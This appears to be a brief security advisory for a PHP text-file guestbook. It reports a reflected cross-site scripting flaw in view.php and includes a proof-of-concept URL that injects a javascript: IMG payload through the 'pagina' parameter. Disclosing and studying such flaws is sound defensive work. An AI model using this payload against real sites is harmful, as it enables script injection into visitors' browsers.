Homepage:

http://www.tuttophp.altervista.org/main.php


Description:

Text-based guestbook with the following features: - Data storing on text file - 
Paging of messages on screen - Blockage of messages with words too long into - 
Blockage of messages with both html tags(<>) - Validity-checking of email 
address


Effected files:

view.php


XSS achived by URL Injection of pagina variable:


http://www.example.com/prettyguest-ing/view.php?pagina=1<IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))>

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